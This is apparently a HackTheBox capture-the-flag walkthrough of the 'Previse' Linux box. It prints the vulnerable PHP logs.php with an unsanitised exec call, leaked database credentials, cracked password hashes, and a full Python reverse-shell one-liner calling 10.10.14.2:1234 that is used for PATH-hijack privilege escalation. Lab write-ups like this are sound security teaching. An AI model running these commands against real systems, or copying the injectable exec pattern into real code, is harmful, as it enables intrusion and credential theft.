TL;DR
This is a walkthrough writeup on Previse which is a Linux box categorized as easy on HackTheBox. The initial foothold was gained by discovering and exploiting command injection in POST request parameter, meanwhile the privilege escalation part was done using PATH variable exploitation. Overall an easy & beginner friendly box.
Walkthrough
Previse Writeup: Scanning Network
Running the usual Nmap port scan :
Command used --> nmap -A -n -Pn -v -sC -sV -oN nmap.initial 10.10.11.104
Nmap scan report for 10.10.11.104
Host is up (0.19s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
We have 3 ports to play with :
port 22
: SSHport 80
: Apache web-server
Previse Writeup: Web Enumeration
Checking out the hosted website in our browser :
We were greeted with a login page on browsing the target IP.
Running a Dirbuster Scan
DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Thu Oct 21 02:42:57 EDT 2021
--------------------------------
http://10.10.11.104:80
--------------------------------
Directories found during testing:
Dirs found with a 302 response:
/
Files found with a 302 responce:
/index.php
/accounts.php
/files.php
/status.php
/file_logs.php
/logout.php
/download.php
/logs.php
Files found with a 200 responce:
/login.php
/js/uikit-icons.min.js
/js/uikit.min.js
--------------------------------
Whatever page i tried to visit, they all were redirected to login.php
I went onto examine the source code of login.php
, and did see something interesting —>
<meta name="description" content="Previse rocks your socks." />
<meta name="author" content="m4lwhere" />
This somewhat hinted towards brute forcing the login page for user m4lwhere
with rockyou.txt
I tried brute forcing my way in, but no luck. I even tried SQLi manually and through sqlmap
, but again no luck.
Burrrrrrp !
I suspected these redirections and intercepted the requests with Burp.
Ahaaa ! As suspected, the server responds with the the whole page content, but gives a Status Code 302
for redirection.
We can alter the Status code
in the response from 302
to 200
, (also remove the Location
) and be able to see the contents of the requested page in our browser.
Now we are able to see the index.php
in our browser.
Similarly enumerating other parts of the website, by altering the response status codes to 200
.
Website Enumeration
We went ahead and created a new user.
At this point we can turn stop altering the response status codes in Burp and login with the new account, and browse the website.
A page on the site specifies that a MySQL database is being used on the server. (Management Menu —> Website Status)
After this we found this functionality of being able to download the file_access logs
The interesting feature here is that we can select between 3 options as the delimiter which we want to use in the file.
for example using the tab
delimiter —>
I also saw a files section, where we could upload files, and download the already uploaded files.
- I tried uploading a php-reverse shell but i wasn’t able to execute it on the webserver, I was only able to download it back.
- Then I went ahead and downloaded the already uploaded file,
SITEBACKUP.zip
- On unzipping the .gz file with
gzip -d /path/to/.gz/filename
, I found the following files, which seems like the source code files for this website :
Previse Writeup: Enumerating the source code files
MySQL DB creds
The config.php
file had the creds for the MySQL database.
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
password: mySQL_p@ssw0rd!:)
On further examining source code files, I saw that the parameters being inputted by the user were sanitized everywhere, thus SQLi was not possible.
But a file stood out in this criteria which was logs.php
<?php
session_start();
if (!isset($_SESSION['user'])) {
header('Location: login.php');
exit;
}
?>
<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
header('Location: login.php');
exit;
}
/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
$filepath = "/var/www/out.log";
$filename = "out.log";
if(file_exists($filepath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
ob_clean(); // Discard data in the output buffer
flush(); // Flush system headers
readfile($filepath);
die();
} else {
http_response_code(404);
die();
}
?>
In this file, as we can see that the delim
parameter is not being sanitized and is directly being passed into the bash execution string as a parameter for the python script which probably generated the file_access
log file..
Hahahahah, lets get a lil evil here 😈
Exploiting the delim
paramter in the file_access
log request
Let’s inject the delim
parameter with a reverse shell..
Because we know that the box has python installed as it is running a python script, lets use a python reverse shell from pentest monkey.
Nice, we have a reverse shell. Also convert it to a tty shell for convenience.
We have a reverse shell as user www-data
Enumerating the system
We see that there is a user m4lwhere
but we cannot read the user flag.
MySQL Database
Let’s connect to the mySQL database, which we found out during web enumeration and do some recon.
We can use this command to connect to the database (-p is to enter the password as this db is password protected
)
mysql -u root -h localhost -p
www-data@previse:/home/m4lwhere$ mysql -u root -h localhost -p [213/241]
mysql -u root -h localhost -p
Enter password: mySQL_p@ssw0rd!:)
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 11
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| previse |
| sys |
+--------------------+
5 rows in set (0.00 sec)
mysql> use previse;
use previse;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
show tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts |
| files |
+-------------------+
2 rows in set (0.00 sec)
mysql> select * from accounts;
select * from accounts;
+----+-----------+------------------------------------+---------------------+
| id | username | password | created_at |
+----+-----------+------------------------------------+---------------------+
| 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
| 2 | thedotguy | $1$🧂llol$QrGHpdm6YS1ZtWtQc4LXH/ | 2021-10-21 17:17:33 |
+----+-----------+------------------------------------+---------------------+
2 rows in set (0.00 sec)
We have the password hashes for the users now.
These hashes are using salt.
As seen in the screenshot, the output in the linux terminal will show some strange character in the salt. But on copying and pasting this salt into google or anywhere else, it will be shown as a ‘salt shaker emoji’ 🧂
Yeah, this emoji is the salt. LOL, ikr.
On some googling, I found that this hash is a MD5 crypt hash (as it starts with $1$)
Using Hashcat for Hash Cracking
We checked in the hashcat help command the mode that we need to use :
hashcat -m 500 -a 0 -o cracked.txt ./hash.txt ./rockyou.txt
-m -> hash mode
-a -> dictionary attack
We successfully cracked the hash for user m4lwhere
🙂
hash: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
pass: ilovecody112235!
Previse Writeup: User flag
Now we have the password,L let’s change the user to m4lwhere
.
www-data@previse:/home/m4lwhere$ su m4lwhere
Password: ilovecody112235!
m4lwhere@previse:/$ id
uid=1000(m4lwhere) gid=1000(m4lwhere) groups=1000(m4lwhere)
m4lwhere@previse:/$ cd /home/m4lwhere
cd /home/m4lwhere
m4lwhere@previse:~$ cat user.txt
0cf4bc6c68c5aa7195c1041abd496e25
Privilege Escalation
On checking the sudo -l
permission, we see that there is a backup script which we have the permission to run as root.
m4lwhere@previse:~$ sudo -l
sudo -l
[sudo] password for m4lwhere: ilovecody112235!
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
Viewing the acess_backup.sh
script contents →
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
cat /opt/scripts/access_backup.sh
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
Ahhh, we see that the date
command is not using the complete path to the command, thus we can exploit the PATH Variable and make our own “date” command and run it through that script.
Read more about PATH varibale exploitation here.
Exploiting PATH Variable
- Make a new file named as
date
in/tmp
(because we have write permission in this). - Paste the python reverse shell in it & change its permission to
777
m4lwhere@previse:~$ echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.2\",1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" > /tmp/date
m4lwhere@previse:~$ chmod 777 /tmp/date
- Add /tmp in the
PATH
variable.
m4lwhere@previse:/opt/scripts$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
- Now run the script as sudo →
sudo /opt/scripts/access_backup.sh
And catch the reveres shell 😂
Previse Writeup: Root flag
┌─[root@kali]─[~/Desktop/Boxes/HTB/Previse]
└──╼ #nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.104] 56280
root@previse:/opt/scripts# whoami
root
root@previse:/opt/scripts# cd /root
root@previse:/root# ls
root.txt
root@previse:/root# cat root.txt
f5584f9474620d38c4a331d46ca0ccee
Yayy ! Congrats on rooting Previse 🎉🥳
Do checkout other interesting writeups & walkthroughs on sheerazali.com